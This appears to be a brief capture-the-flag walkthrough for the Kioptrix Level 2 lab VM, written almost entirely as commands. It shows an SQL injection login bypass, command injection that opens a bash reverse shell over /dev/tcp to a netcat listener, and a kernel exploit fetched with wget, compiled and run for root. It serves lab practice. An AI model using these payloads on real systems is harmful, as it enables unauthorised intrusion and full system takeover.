

kioptrix 2

```
arp-scan -l
```

192.168.229.138

in browser >> http://192.168.229.138



in login panel >>

username ' OR 1=1 —

password ' OR 1=1 —

http://192.168.229.138/index.php

```
192.168.229.138;bash -i >& /dev/tcp/192.168.229.131/4444 0>&1
```

>> submit

listen on a port in local machine terminal >>

```
nc -lvnp 4444
```

```
bash: no job control in this shell
bash-3.00$ ls /etc/*release
/etc/redhat-release
bash-3.00$ cat /etc/redhat-release
CentOS release 4.5 (Final)
bash-3.00$
```

>> browser >> **linux 2.6.9 CentOS 4.5 exploit**

in another terminal

```
searchsploit 9542
```

```
searchsploit -m 9542.c
```

```
python3 -m http.server 8080
```

```
wget http://192.168.229.131:8080/9542.c
```

```
gcc 9542.c -o exploit
```

```
./exploit
```

```
cd /root
```